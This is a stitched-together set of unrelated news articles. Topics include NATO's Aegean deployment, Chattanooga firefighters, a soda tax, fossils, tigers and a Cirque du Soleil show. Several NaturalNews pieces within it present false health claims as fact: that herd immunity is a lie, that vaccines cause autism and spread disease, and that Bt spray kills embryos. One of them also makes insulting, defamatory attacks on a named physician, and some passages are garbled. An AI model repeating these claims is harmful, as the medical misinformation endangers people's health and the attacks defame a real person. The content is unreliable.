Brigadier General Roberto di Marco, Deputy Commander of NATOs Deployable Air Command and Control Centre, welcomed the successful conduct of the exercise. Ramstein Alloy has been another big opportunity to see our Allies and partners cooperate, and to reinforce our visibility here in the Baltic States, he said.
NATO Secretary General Jens Stoltenberg visited FGS BONN, the German flagship of Standing NATO Maritime Group 2 (SNMG2), on Thursday (21 April) as the ship continues to conduct reconnaissance, monitoring and surveillance of illegal crossings in the Aegean Sea.

The Secretary General thanked the crew for their important work and stressed that NATOs deployment in the Aegean is making a difference in the international efforts to deal with the greatest refugee and migrant crisis facing Europe since World War Two.

Mr. Stoltenberg underscored that NATO ships were deployed to the Aegean within hours, following a joint request by Greece, Turkey and Germany. He noted that they are providing critical information on a daily basis to help Turkey, Greece and the EUs border agency, Frontex, in cutting the lines of human trafficking and illegal migration in the Aegean.

The Secretary General outlined areas where NATO has made important progress since its Aegean deployment began in February. He highlighted that the information collected by NATO ships have enabled Greece, Turkey and Frontex to take more effective action to break the business model of human traffickers. He added that NATO is providing an additional platform for cooperation between Greece, Turkey and the European Union to deal with the refugee and migrant crisis.

During the visit, the Secretary General also met with Rear Admiral Jorg Klein, Commander, SNMG2 to discuss BONNs current activities. He spoke with SNMG2 staff and Greek and Turkish liaison officers on board the BONN. He also observed the maneuvers of three frigates, TCG GOKOVA, HS SPETSAI and HNLMS VAN AMSTEL, currently operating in the same area as BONN.
Visiting Athens on Friday (22 April), NATO Secretary General Jens Stoltenberg met with the Greek President Prokopios Pavlopoulos, Prime Minister Aleksis Tsipras and Defence Minister Panos Kammenos to discuss current security challenges and NATOs response.

Mr. Stoltenberg thanked Greece for its commitment to the Alliance for many decades, its investment in collective defence, and its significant efforts to cope with the biggest migrant and refugee crisis in Europe since World War Two.



The Secretary General recalled that "NATO is in the Aegean Sea because Greece, Germany and Turkey requested our assistance to help cut the lines of human trafficking," and stressed that, as part of international efforts, "NATO is helping counter criminal networks, secure our borders and save lives. NATO is also working with the EU closer than ever before." Mr. Stoltenberg thanked Greece for contributing three ships to NATO's deployment in the Aegean, and for the excellent cooperation with Turkey and the EU's border agency Frontex.



In preparation for the NATO Summit in Warsaw in July, the Secretary General also discussed with his Greek hosts NATO's efforts to address the root causes of the refugee and migrant crisis. We are assisting partner countries in the Middle East and North Africa to strengthen their own defence and fight terrorism and instability, he said. The Secretary General stressed that this month NATO started training Iraqi officers and stands ready to support Libya.



We also discussed the challenge of a more assertive Russia, responsible for aggressive actions in Ukraine, Mr. Stoltenberg said. He stressed that in response to Russias actions the Alliance has increased collective defence and deterrence, "not to provoke a conflict, but to prevent a conflict, and to keep our citizens safe." At the same time, NATO is keeping lines of political dialogue open, as testified by the recent meeting of the NATO-Russia Council.
Over the course of his visit to Ukraine (20-22 April), the Chairman of the NATO Military Committee, General Petr Pavel met with the Ukrainian Minister of Defence General Stepan Poltorak, the Secretary of the National Security and Defense Council, Oleksander Turchynov, and Chief of Defence, General Viktor Muzhenko. He also provided the closing address to the 16th International NATO Week Conference, in Kiev.

During his meetings with Ukrainian Minister of Defence, General Stepan Poltorak and Chief of Defence, General Viktor Muzhenko, the Chairman of the NATO Military Committee, General Petr Pavel discussed the current security situation in and around Ukraine as well as the reform of the Ukrainian defence sector in general and of the Armed Forces in particular. General Pavel acknowledged the significant progress made in areas such as command and control, logistics capabilities and training, adding that the scope of reforms is truly impressive considering the backdrop of real-life operations. He also stressed NATOs continued commitment to NATOs partnership with Ukraine and its reform efforts, as demonstrated through a variety of means, be it the depth and broad spectrum of activities that NATO and Ukraine are doing together or the fact that as a long-standing partner, Ukraine has been invited to attend the NATO Summit in Warsaw in July where a meeting of the NATO-Ukraine Commission will take place.

On the backdrop of the first NATO-Russia Council meeting since June 2014, General Petr Pavel took the opportunity to reassure the Ukrainian military leadership: At times like these, political dialogue is useful and necessary if we are to reduce the risk of military incidents and to clarify and resolve serious disagreements. But this does not mean a return to business as usual. This will not happen until Russia again respects international law.

The Chairman concluded his visit to Ukraine by providing the closing address to the 16th International Kiev Week, organised by the NATO Defence College with the collaboration of the NATO School in Oberammergau, in support of the Ukrainian National Defence University. In his speech, General Pavel focused on the current threat landscape and NATOs adaptation to address these threats, highlighting that NATO is a cohesive and proactive security institution in todays strategic environment. It is the most reliable and ready military alliance the world has ever known. But we are stronger together, 28 for 28, in conjunction with our partners, in the face of any challenge. We will continue to deter state actors with capable and responsive force, while having the ability to project stability to thwart non-state actors.
"Sheeple" believe the herd myth  here's why...

Virus "shedding" explained

Just as the polio vaccine (injected or as nasal spray) causes new polio cases, so do the measles vaccine and the flu shot

(NaturalNews) The vaccine "herd immunity" lie is believed by the majority of Americans who have been brainwashed to be hypochondriacs and paranoid about infectious disease. Medical doctors repeatedly tell their patients that everything is genetic (they mean inherited) and that all humans are born very weak, with crippled immune systems that MUST have 50 vaccinations before age seven to survive the onslaught of 50 different infectious diseases that will cripple, maim and kill them, otherwise."You will DIE of infectious disease!"  if you do not pump your muscle tissue, brain and central nervous system full of mercury, formaldehyde, MSG, aluminum, various strains and combinations of live (but dormant) viruses,, sorbitol (yes, the artificial sweetener used as an emulsifier and carrying agent, aka an "adjuvant"), deadly sodium chloride, and of course aluminum phosphate to. That's the mentality that's never explained, or NOBODY would get ANY of these insanely over-loaded and carcinogenic-laced toxic shots at all, ever (hint, hint)."There's safety in numbers," proponents of mass vaccination say. "It's the unvaccinated that are the greatest risk," they'll proclaim during their shill argument. People regurgitate what their MD utters at the end of the routine checkup and inoculation visit, just to make sure nobody with vaccine injuries is doubting the American "process"  the standard  the new "norm."People don't like to buck the system, or have to go get medical or religious waivers just to say. The sheeple are even able to request "preservative-free" vaccines, which means the CDC took out one of about 30 horrific toxins contained in each and every jab, especially the multi-dose jabs. The media spins the script too , handed down by Hitler and his mad scientists who went to work for America's Big Pharma less than a decade after serving time for mass murder.The most dangerous time for the spreading of infectious disease is the first two weeks after a child (or teen or adult) is injected with the "immunization" containing a version of the virus. The vaccine industry will explain how those viruses have been "deadened" or "weakened," when in actuality what they've done is contained them using formaldehyde (embalming fluid), but thein human muscle tissue, waiting to be fed and "awaken" from its hibernation or "slumber." It is a scientific fact that any person injected with a live virus can shed that virus via saliva or mucus to any person whether they are inoculated or not, without ever coming down with the sickness themselves.Meanwhile,in order to shock the immune system into a "healthy" reaction is oxymoronic, to say the least. It's unnatural and dangerous. Still, infectious-disease-paranoid parents readily deliver their argument that, anytime there is a measles, chicken pox or flu outbreak at a school, all of the non-vaccinated children are the culprits and need to be banished from school until they get their inoculations. That's allregurgitated by scared parents just trying to do the right thing.There's a big dirty secret in India about vaccines. The US mainstream media has a complete blackout on this information. There was a huge spike in children crippled AFTER receiving the ORAL POLIO vaccine. The vaccine industry labels ALL the new cases as "non-polio acute flaccid paralysis" (NPAFP), but the 47,000-plus cases reported in 2011 came the same year that India was declared "polio-free," and the tens of thousands of incidents TRACKED BACK to areas where (oral) polio vaccines were frequently administered. That means. Imagine that, all those paranoid Americans rushing out to get their newborns "inoculated" and putting their infants at GREATER RISK. Is polio "eradicated" if paralysis-by-vaccine is exhumed and decimating India's babies? This tells us that the vaccine is MORE dangerous than the disease. Yes, polio has made a comeback, but it's now in a mutated form caused by the vaccine itself.Want to be safe and part of the " natural flock"? Look into safe, natural immune boosters like vitamin D, vitamin C, elderberry tincture (for the flu) and chaga mushrooms. Make SURE you get all your vitamins and minerals through your food naturally. You just have to eat right and eat clean to have ultimate immunity.
Chattanooga firefighters kicked off their Fill the Boot fundraising campaign for the Muscular Dystrophy Association (MDA) Thursday morning at Station 1 on E. Main Street. The first donations were made by City Councilman Chip Henderson, Fire Chief Chris Adams, Captain Keith Liles and Jack Thompson, president of the Chattanooga Firefighters Association, Local 820. Firefighters from all 19 fire stations then fanned out at pre-designated locations throughout the city to collect donations.





Friday and Saturday , from 10 a.m. to 2 p.m. to 2 p.m. The firefighters were out collecting donations on Thursday, and will resumeand, fromat locations throughout the city. "For more than 60 years, firefighters have stood on the front lines for MDA, striving to make a difference in the lives of those affected by this muscle disease. Muscular dystrophy, amyotrophic lateral sclerosis (ALS) and other related life-threatening diseases take away people's ability to walk, move, smile, talk and even breathe. The funds raised through this event support MDA's life-enhancing programs such as state-of-the-art clinics and research efforts. The donations also make MDA summer camps possible for kids stricken with this terrible disease," MDA organizers said.





The Chattanooga Fire Department finished first in the state last year, raising $80,500 for MDA. The department's goal this year is to raise $100,000 for MDA. The Chattanooga Fire Fighters Association, Local 820 is also a major sponsor of this event.





Here are the location where the firefighters will be collecting donations Friday and Saturday , from 10 a.m. to 2 p.m. :




Americans' trust in the media has been declining for years

Countless examples of blatant lies and omissions by the mainstream media

(NaturalNews) Americans are growing increasingly disillusioned, as the mainstream media continues to lie to them about vital issues such as vaccines , the economy and GMOs While a number of people have been looking at the mainstream media with a skeptical eye for some time now, the majority of the population has generally shrugged this off as they go about their daily lives. However, as the state of affairs in the country continues to head in a negative direction on nearly every front, people are getting fed up with the lies and turning toward independent news sources in greater numbers.People are no longer stuck settling for one of just three major networks for their news, thanks to the expansion of cable, the internet and smartphones. This helps them move away from government talking points and news tainted by corporate influence.In fact, thereports that only 6 percent of people say that they have a lot of confidence in the media. In addition, Democrats were found to be more likely to trust the media than Independents or Republicans.The study, which was carried out by the Media Insight Project, which is a partnership between the American Press Institute and The Associated Press-NORC Center for Public Affairs Research, found that Americans prefer news that is concise, current and cites sources or documents that have authority.The American Press Institute's Executive Director, Tom Rosenstiel, said that as news consumers' expectations change, journalists need to master bigger skill sets.Accuracy remains of the utmost importance, with almost nine out of 10 Americans saying it is either extremely or very important for the media to provide correct information. Around 40 percent of respondents said that they could recall a particular incident that caused them to lose faith in the media, and such incidents often surrounded a perceived bias or inaccuracy.The public editor of, Margaret Sullivan, told thethat accuracy needs to trump everything else, even the desire to be the first to publish a particular news piece.Around 60 percent of Americans are now exposed to news several times a day, and social media is playing a big role in this. Rosenstiel said that people using social media depend on certain cues to decide whether they want to click on a particular news item to read more about it, and knowing the original source of the story is chief among the factors used to determine that trust.This latest poll comes in the wake of a Gallup poll from last fall, which showed that the trust Americans have in the media was at a historical low. In that poll, just four out of ten Americans said they had at least a "fair amount" of trust in the media to report the news fairly, accurately and fully. That was down from a high of 55 percent noted in 1998 and 1999, with trust falling more sharply in people younger than 50.The mainstream media has done a lot to erode consumer trust in recent years. For example, mainstream outlets are pretty quiet about the outrageous health risks of GMOs , or vaccines and their connection to autism , despite plenty of scientific evidence.Lead NBC anchor Brian Williams was recently outed as a serial liar; the network responded by giving him six months off without pay, showing just how little they care about honesty.In a TEDx talk last year, former investigative reporter for CBS News Sharyl Attkisson revealed how phony grassroots movements get financial backing from corporate and political interests to manipulate news reporting in a practice known as astroturfing.As reported by Natural News , a top German journalist recently admitted that he was forced to publish writings by intelligence agents under his own name throughout his career, under the threat of losing his job. He said: "I've been a journalist for about 25 years, and I was educated to lie, to betray, and not to tell the truth to the public."All of this is not a recent trend. In the 1970s, a CIA-based initiative known as "Operation Mockingbird" which aimed to control the mainstream media, came to light.Thankfully, there are a number of good independent news sites out there that readers can rely on to be accurate and honest. One of these is AlternativeNews.com . Sites like TruthWiki.org take the time to get the real story and don't have to answer to big corporations or government. As more people turn away from the mainstream media toward independent sites, the message is becoming loud and clear: The American public is not going to tolerate lies forever.
Third-party connection?

Repurposing  and re-monetizing  an existing drug

'Very real and present danger'

(NaturalNews) Known alternately to various people as a "sociopath," "hate monger," "pathological liar" and "a danger to society," vaccine frontman and Big Pharma shill Dr. David Gorski is even less-well thought of by many of his former patients. According to this physician rating site , descriptions ranged from "horribly arrogant" and "extremely unprofessional," to dismissive and more interested in "blogging" than patient care.There's a reason for all that blogging though, and it has nothing to do with advancing medical knowledge and science.It has much more to do with. You see, much of what Gorski blogs about is defense of the traditional medical system and Big Pharma . Using the pen name "ORAC," Gorski "leads the pack in his efforts to obscure the vaccine-autism connection, promoting mercury in vaccines and calling everybody a skeptic who doesn't bow down to chemical medicine," notes"In case anybody's wondering what David Gorski's connection is to the autism debate, he has undisclosed financial ties to the vaccine industry," writes Jake Crosby at"He has made no mention of these connections..."Cosby notes further:"Well, it so happens Sanofi-Aventis  the world's largest vaccine maker - is involved in several partnerships under which the company may be required to pay a total of 31 million ($39 million USD) from 2008 to 2013. Gorski's employer, Wayne State University, is one of the partners, and he is conducting a clinical trial of one of the company's drugs."And like fellow Big Pharma and vaccine shill Paul Offit  who concealed millions he received from Merck in royalty payments after the pharmaceutical company paid them to a third party and not directly to Offit  Crosby believes that Gorski also stands a good chance of receiving money from a maker of vaccines , even if it too, comes via a third party.Gorski's stated laboratory work is that he focuses on research and development of new drugs, however Crosby claims that he is not developing a new drug, but rather trying to develop new uses for an existing one. And that is a process much more valuable to a drug maker that does not have to spend large sums of money on new research and development, thereby maximizing profits."When we observe the behavior of sociopathic individuals like Dr. David Gorski  ORAC  we consistently find a pattern of exploiting innocent people for personal profit and greed," said Mike Adams, author of, science lab director of CWCLabs , editor of NaturalNews.com and creator of Medicine.news "In a pharmaceutical industry that routinely exploits children for profit, Dr. Gorski has become the poster child for 'science rage' online trolling," Adams continued. "But Dr. Gorski is to science what Kim Jong-Un is to democracy. He wields the word 'science' as a weapon while initiating character assassination campaigns against complementary medicine doctors and advocates of natural healing modalities."The drug Gorski is attempting to make much more profitable  and for which he is in the process of setting up clinical trials  is the ALS drug Riluzole, manufactured by Sanofi-Aventis and marketed as Rilutek, Crosby reported.What makes the conflict even more profound is that the same drug is also being studied for the treatment of autism "At Autism One, the National Institute of Mental Health was handing out recruitment pamphlets for children ages 7-17 to take part as subjects in a clinical trial of Riluzole for its effectiveness in the treatment of autism spectrum disorders, and repetitive and stereotypical behaviors in particular. Apparently, David Gorski has had his eye on that drug for a long time, but as a possible treatment for breast cancer."There is additional cause to believe that Gorski may be angling for profit here. At present, the Barbara Anne Karmanos Cancer Institute of Wayne State University is sponsoring the Riluzole trials. Also, Wayne State is the only university listed in the Yahoo! Finance stock summary of Sanofi-Aventis as being part of a financial partnership with the company, Crosby wrote.And, "Sanofi-Aventis owns Sanofi-Pasteur, the second largest manufacturer of vaccines in the world, including both thimerosal-preserved vaccines , and MMR vaccines," he wrote."I have no doubt that if Dr. Gorski were not practicing medicine, he would be committing fraud in some other sector of society," Adams said. "He remains a very real and present danger to not just the medical patients of Michigan, but to the very credibility of the 'science' he claims to represent."Crosby notes that while Gorski was upfront about his Big Pharma funding some 14 years ago regarding a patent and funding he received from various institutions with which he was affiliated, he has been far less upfront about funding from Big Pharma he has received through his institution.
Gypsy moths blamed for environmental and economic problems

Outraged residents told to stay indoors

(NaturalNews) Washington residents should brace themselves for an aerial assault of GMO poison that is being launched throughout the Western part of the state in an attempt to prevent a widespread gypsy moth infestation.Last weekend saw the launch of a pesticide-bacteria spraying campaign that was authorized by Washington State's Department of Agriculture (WSDA). The areas affected include around 7,000 acres near the Port of Tacoma, 640 acres along Old Pacific Highway SE near the Nisqually River, 600 acres near Gig Harbor, 640 acres near Kent, and 640 acres just north of the Lacey area.The aim of this program is to kill European and Asian gypsy moths. The bacteria, which is known as(Bt) has pesticide properties. In fact, the gene that is used to kill insects in GM crops actually comes from this bacteria.KOMO reports that the WSDA plans to use a fixed-wing red and white plane to drop the Bt strain(Btk) pesticide from 250 feet in the air.According to the WSDA, European and Asian gypsy moths are invasive and have an insatiable appetite for foliage from plants and trees such as oak and maple. They say that the damage caused by the moths could have significant environmental and economic implications.The moths have not been seen in Washington since 1999, and they have never really established themselves anywhere in North America. Recently, an alarming number of male Asian gypsy moths have been caught in traps at the Port of Tacoma. These cousins to the problematic European gypsy moths prevalent in New England are known not only for defoliating shrubs and trees, but also for their ability to reproduce in big numbers. Experts theorize that they entered the country on container ships through the Port of Tacoma. It is believed that they could devastate the state's environment if they manage to get a foothold, and they are also known to cause skin irritation in humans That said, many residents are opposed to the spraying. Back in 2000, a group of citizens tried to sue in King County Superior Court to put a stop to spraying in two Seattle neighborhoods, but their efforts were unsuccessful.In addition to Saturday's spraying, further sprayings are set for various dates at the end of this month and in early May, as long as the weather cooperates. The original plans were moved up on account of the recent warm weather, which prompted the gypsy moth eggs to hatch a lot earlier than expected. The caterpillar stage is the ideal time to apply the pesticide . In total, around 10,500 acres will be treated with Btk, which is fatal to caterpillars.Citizens who want to avoid this poison can visit the WSDA website , where they can sign up for notifications via text, phone or email the day before applications. Residents will also receive postcards in the mail advising them of the situation. Concerned individuals can also send water samples to EPA Watch to see if this or other toxins make their way into the area's water supply.The WSDA website seems to contradict itself, claiming that the substance isn't harmful, but advising people to remain indoors all in the same paragraph:"Btk is not considered harmful to humans, pets, birds, fish, or bees. It is registered by the U.S. Environmental Protection Agency, which considers it a low-risk product. Btk is found naturally in the environment and has an excellent safety record. Although the risk is low, the Washington State Department of Health, as a precaution, recommends that people can minimize their exposure by remaining indoors during spraying and for 30 minutes afterwards. If you come into contact with the product, wash with soap and water."That's the least you should do. Around 500 people reported allergic and flu-like symptoms after being exposed to Bt spray in Vancouver and Washington . A similar outbreak occurred after Indian farm workers handled Bt cotton.A recent study out of the University of Sherbrooke Hospital Centre in Quebec looking into how Bt toxin affects pregnant women and unborn babies, found that Bt toxin was present in pregnant women and their fetuses, and it actually killed human embryos inside of the women's bodies! The toxin has also been linked to autism, cancer, autoimmune disease and food allergies.
Business success, regulatory compliance and the maintenance of competitive advantage can be achieved through close collaboration between the scientific community, government and industry. A new collection of articles highlights how the latest research is advancing opportunity in areas such as cognitive function, weight management and healthy aging. The authors will expound on these market possibilities during their presentations at Vitafoods Europe in Geneva, Switzerland, May 10 to 12, 2016.

One area consistently in the global spotlight is healthy aging. Societal advances are fostering longer and healthier lifespans worldwide. In her article, Tongkat Ali: The Root for Healthy Aging," Annie George, senior manager, science and product development, Biotropics Malaysia Berhad, discussed the medicinal plant found in the lowland forest of Peninsula Malaysia, Indonesia and some parts of Southeast Asia.

Sometimes referred to as Long Jack or Malaysian ginseng, Tongkat Ali has been traditionally known for its aphrodisiac effects and as a tonic for vitality and energy in men.

According to George, recent scientific studies have reported improvement in testosterone production, physical and mental performance, enhanced energy levels, endurance and stamina, improved skin and muscle tone, and enhancement of the immune system. The alleviation from the symptoms of impotence and a loss of desire/libido was also reported. Several indigenous communities in Malaysia still consume decoctions of the roots as a male health tonic. While the documented use of Tongkat Ali dates as far back as the 18th century, it has also purportedly been used among the natives for as long as time can tell. Through the years, the tonic has evolved in form and use.

Another area of widespread interest is brain health. In Nutraceutical Interventions for Cognitive Functions," Andrew Scholey, Ph.D., CPsychol, AFBPsS, director of the Centre for Human Psychopharmacology at Swinburne University, Melbourne, pointed to the value of nutraceuticals for neurocognitive enhancement across the lifespan. Although effective pharmaceutical treatments for the prevention of age-related cognitive decline have proven elusive, he noted compelling evidence exists that nutritional status (and by extension, supplementation) can play a crucial role in modifying the expression of cognitive change throughout life. At different developmental stages, specific physiological processes take on more important roles in neurocognitive health. Many of these mechanisms appear to be modifiable by specific classes of bioactive nutrients and nutraceuticals. He added, there is increasing converging evidence that certain interventions can improve mood and cognitive function in both clinical and healthy populations, naming potential ingredients such as ginseng, bacopa, cocoa flavanols, resveratrol and curcumin.

For more information about some of the latest ingredient and research developments, download the Vitafoods Insights Digital Issue, Vitafoods Europe 2016 Conference Preview: Translating Science into Business Excellence."
The residents of Boulder, Colorado may decide in the fall whether to impose a 2-cents-per-ounce excise tax on sugary drinks.

An organization known as Healthy Boulder Kids is seeking to place the initiative on the November ballot in the left-leaning city that has been described as The Berkeley of the Rockies."

The proposed measure is intended to raise $3.8 million annually and support health and general wellness" through greater access to healthy foods, nutrition education, physical activity and health programs, particularly for low-income residents and people who are most vulnerable to chronic disease linked to consumption of sugary beverages.

Drinking one sugar-sweetened beverage a day increases the risks for childhood obesity, developing type 2 diabetes, and the likelihood of death from cardiovascular disease, according to the proposal.

The measure would tax distributors of sugary beverages and exclude certain drinks, including alcohol, baby formula, milk products and drinks taken for medical reasons. If approved by voters, the tax would become effective July 1, 2017.

John Lamson, a spokesman for the Healthy Boulder Kids coalition, said he believes roughly the signatures of 6,000 to 7,000 registered voters will be needed to get the measure on the November ballot, the Boulder Daily Camera reported.

Today, excessive consumption of sugar drinks is costing Boulders citizens an increased risk of diabetes, heart disease, obesity and tooth decay," said Michael Jacobson, president of the Washington-based Center for Science in the Public Interest (CSPI), in a statement. The proposed tax is a good step toward reducing those costs."

Boulder is well-known for its outdoor activities and active lifestyles. But the organization behind the planned ballot measure said obesity in the city has doubled since 2000.

The people of Boulder value health and fitness, and this measure is a way to provide more access and opportunities to programs for those families and kids who sometimes get left behind," said Jorge De Santiago, executive director of El Centro AMISTAD, a nonprofit organization in Boulder catering to immigrants. His statement and other endorsements of the tax proposal were displayed on Healthy Boulder Kids website.

Similar initiatives have produced mixed results. In November 2014, citizens in Berkeley, California voted to impose a 1-cent-per-ounce tax on the distribution of most sugary drinks, reportedly becoming the first city in the nation to do so. San Francisco voters rejected a similar measure. Earlier in 2014, an appeals court dealt a final blow to an anti-obesity measure in New York City that restricted the size of sugary drinks.

"We believe beverage taxes are misguided and ineffective policies that have no meaningful impact on public health," said Christopher Howes, executive director of the Colorado Beverage Association, in an emailed statement. "Many cities across the country, including Telluride in 2013, have rejected similar taxes. And in a city continually ranked as the most fit in Colorado, this tax proposal will only hurt small businesspeople and those who rely, in part, on beverage sales for their livelihoods."
The newly discovered fossilized remains of a monkey found in North America has caught scientists off guard, and can possibly rewrite history books.

Researchers capitalized the planned expansion of the Panama Canal to search for fossils buried beneath the earth. This lifetime opportunity didn't disappoint the researchers. They have uncovered quite a haul of fossilized remains, but the one that took center stage is the discovery of seven monkey teeth that were enclosed in a 21 million-year-old rock.

This discovery, published in the journal Nature, surprised the researchers because the excavated fossil was significantly older than any monkey teeth in Central America should be. The oldest monkeys in the Central Americas were presumed to be 5 million years old.

The discovery is considered to be the earliest evidence of mammalian travel from South America to North America, and now represents the oldest known ancestors of today's New World monkeys. But researchers are bothered by the mystery surrounding how they got there and why they did not continue their journey northward. South America is known to have been an isolated island continent during that time, with seaways at least 160 kilometers wide separating it from North America, Science reported.

Researchers suggest that the early monkey used matted dirt and vegetation as a raft to travel across the sea. They also theorize that these monkeys found South American-like forest structures in Panama and Costa Rica, then opted to stay there rather than continuing north.

In the past, some scientists have suggested that Panama collided with South America millions of years earlier than they have originally thought. This collision could have created a land bridge that the animals could use for cross-continental travel. But researchers of this study noted that the discovery of monkey fossils does not provide enough evidence to back up this claim. If a land bridge was used by animals to cross continents, there should be fossils of larger mammals, but none have yet to be found.

According to the press release of the National Science Foundation, the discovery of the monkey fossil can greatly help researchers to better understand how different plants and animals respond to the changes that occurred in the planet in order to accurately predict actions that should be taken as a response to our ever changing planet in the future.


While there had been previous studies identifying the effects of disrupted circadian rhythms in both men and women, looking particularly on how shifted sleep-wake cycles affect each differently is unknown.

A new study from the Surrey Sleep Research Centre at the University of Surrey, claims that night shifts affect the brain performance of both sex differently and it is more disruptive to women's brains more than men's.

According to Indiatimes, the researchers compared and assessed the circadian and sleep-wake-dependent regulation of cognition of 16 men and 18 women by tracing their brain waves through encephalography in a controlled environment.

"The team compared the brain functions of 16 male and 18 female participants, who were kept on 28-hour a day cycle in a controlled environment without natural light dark cycles. This effectively desynchronised the sleep-wake cycle from the brain's 24-hour clock, similar to jet lag or a shift work scenario," the article said.

The study, published today in the journal Proceedings of the National Academy of Sciences said the findings are valuable to "shift-work-related cognitive deficits and disturbances of mood, which are more prevalent in women."

"We show for the first time that challenging the circadian clock affects the performance of men and women differently. Our research findings are significant in view of shift work-related cognitive deficits and changes in mood. Extrapolation of these results would suggest that women may be more affected by night-shift work than men," Co-author, Dr Nayantara Santhi from the University of Surrey, told Healthcanal. While impairment in cognitive skills such as attention, motor control and working memory were seen as a result in both sexes, the effects on women are more detrimental.

More than cognitive impairment, disturbed circadian rhythm may influence the secretion of hormones in one's body, influencing apetite and weight. This may result in health conditions such as obesity and diabetes. Furthermore, a disrupted circadian rhythm weakens the immune system and increases the risk of having cardiovascular diseases, the leading cause of death for both men and women in America, as per CDC.

Meanwhile, Sleepfoundation.org said there are some strategies you can do to re-align your body's circadian rhythm. These include using light and melatonin. For example, sleeping in a completely dark room with minimum noise. It also added that taking a nap as short as 20 minutes in the middle of a night shift may advance brain function as it can instantly improve alertness, performance and mood.
Despite the loud noises made by planes and the non-stop flow of arriving and departing passengers, an endangered butterfly specie called El Segundo Blue was spotted inside the bustling grounds of the Los Angeles International Airport.

According to National Geographic, buckwheat shrubs near the end of the runway in LAX are the reason these endangered butterflies are visiting the area. They feed on buckwheat and a large number of El Segundo blue butterflies are expected to hover in LAX for the whole summer season.

LAX environmental supervisor, Eric Blyther said in an interview with National Geographic that "As long as it has its buckwheat, it can eat, grow, survive, and it's happy."

Based on the report by the U.S. Fish and Wildlife Service, the El Segundo Blue butterflies are known to exist in California. Today, although the specie is considered endangered, they often visit LAX during the summer season. Last year about 25,000 adult El Segundo blue butterflies visited the airport according to entomologist, Richard Arnold.

One of the causes of the butterflies' frequent visit to LAX is the nearby LAX Dune Preserve which, according to a report, is currently home to 1,000 species of plants and animals.

According to the same report, there were only about 500 El Segundo Blue butterflies in 1976 and they took refuge in LAX dunes, that's what prompted the authorities to further protect the species by developing the LAX dunes and turning it into a conservation area for different animals. After years of preservation, conservationists believed that there were 90,000 El Segundo Blue Butterflies there in 2012.

Scientists are still studying the pattern as to why the butterflies only prefer certain types of plants to feed on. More importantly, why the modern day activities of men don't affect their feeding and migration patterns. It remains a surprise to many researchers how they managed to still hover surrounding areas, ignoring the noise of LAX. Despite that, they are very much welcome to the airport grounds.

Although it is fascinating to see the El Segundo Blue butterflies co-existing with humans, National Geographic said there are other animals known to survive in the city areas as well, just like the Eastern grey squirrel known to live in urban areas, raccoons that live near human settlements, and the brown rat known to be city-dwellers.
In Brazil, scientists and researchers are continuously working to find ways to curb the spread of Zika virus. In line with that, an advertising company has chosen to be proactive in the fight against Zika virus. They released an electronic billboard which can attract Zika virus-carrying mosquitoes and then kill them. It is now known to many as the mosquito killing billboard.

NBS sought the help of Posterscope in Brazil to create a billboard installation, but aside from creating awareness about the Zika virus epidemic, this state-of-the-art billboard is designed to attract aedes aegypti or the mosquito carrying Zika virus.

The company is receiving praise for making their ad campaign more practical in the fight against Zika virus.

Andre Lima, vice president at NBS said, "Zika is a real problem here in Brazil... This idea reflects a lot of our beliefs in terms of what communication means in the contemporary world - that speech is not enough anymore. We need to do real things, not just talk about it."

How then, can the state-of-the-art killer mosquito billboard spot and kill Zika-carrying mosquitoes? Cargo Collective explained that in order to attract the specific mosquito, the billboard is equipped with a device which emits a lactic acid and carbon dioxide solution mimicking the smell of human sweat. The solution can attract mosquitoes within a four kilometer radius.

The mosquitoes hovering near the billboard can be sucked in by the billboard mechanism, trapping them. They eventually die of dehydration. Two of these billboards are currently in Rio de Janeiro, but the makers (Posterscope) are encouraging everyone to replicate the idea and the process to further help in fighting the deadly Zika virus.

A complete set of diagrams, photos and even a downloadable instruction sheet can be reproduced for free. Just visit Posterscope's Facebook page to know more.
Bringing a spark of hope to wildlife conservation groups, is the increasing number of tigers in the wild after 100 years, as reported by WWF.

Sharing the most recent data gathered from several tiger surveys in different countries, as well as the International Union for Conservation of Nature, WWF said that from an estimated 3,200 tigers in the wild in 2010, there are around 3,890 tigers now, representing a 21-percent increase.

The count was released mere days before ministers from the world's 13 tiger range countries had a three-day tiger conservation conference in New Delhi, The Guardian reports.

In a book released by ISF European Support, it was mentioned that at the start of the 20th century, it is estimated there were over 100,000 tigers in the world. Since then the population had dwindled to between 1,500 and 3,500 in the wild because of urbanization, habitat loss and poaching. Of the nine known subspecies of tiger that existed at the start of the 20th century, only six remain, another report said.

To save the tigers in the wild, India, where 70% of the tigers live, together with Bangladesh, Bhutan, Cambodia, China, Indonesia, Laos, Malaysia, Myanmar, Nepal, Russia, Thailand and Vietnam had an agreement in 2010 to double the number of the animals in the wild by 2022 through the Tx2 initiative.

As for the recent turnaround, India, Russia, Nepal and Bhutan emerged as the countries with the most tally of tigers in the wild. This is because of the improved surveys, better field patrolling and monitoring as well as the enhanced protection of the species, WWF said.

Despite the good news, Ginette Hemley, senior vice president of wildlife conservation emphasized that there's still "so much work and investment needed to reach the goal of doubling wild tiger numbers by 2022," as most Southeast Asian countries are still struggling to see progress.

"In Bangladesh, the number of tigers counted fell from 440 to 106," National Geographic reports.

"A strong action plan for the next six years is vital," said the leader of the Tx2 initiative, Michael Baltzer in a separate statement. "The global decline has been halted but there is still no safe place for tigers. Southeast Asia, in particular, is at imminent risk of losing its tigers if these governments do not take action immediately," he added.

The increase in tiger population in the wild sets a new paradigm for the conservation of all the world's endangered species. In Marco Lambertini's own words, Director General of WWF International, "This offers us great hope and shows that we can save species and their habitats when governments, local communities and conservationists work together.
Cirque du Soleil will be performing in Chattanooga for the first time ever in July with OVO, its newest touring show in arenas. The production will be presented at the McKenzie Arena from July 20-24 for 7 performances only, as part of a global tour in arenas around North America. The show is presented by Visa Signature.



"Thrilling more than 4.5 million people worldwide since the show premiered in Montreal in 2009 as a Big Top show, OVO will embark on a new journey, performing the same captivating production, but now in arenas, giving more people the opportunity to enjoy a Cirque du Soleil show in their own town," officials said.



Review of OVO:

OVO, meaning egg in Portuguese, is a headlong rush into a colorful ecosystem teeming with life, where insects work, eat, crawl, flutter, play, fight and look for love in a non-stop riot of energy and movement.



When a mysterious egg appears in their midst, the insects are awestruck and intensely curious about this iconic object that represents the enigma and cycles of their lives. It is love at first sight when a gawky, quirky insect arrives in this bustling community and a fabulous ladybug catches his eye  and the feeling is mutual.



The cast of OVO is comprised of 50 performing artists from 12 countries specializing in many acrobatic acts. One highlight of OVO is the stunning Flying Act in which a group of scarabs soar high above the stage, from both edges to the middle landing on a platform.



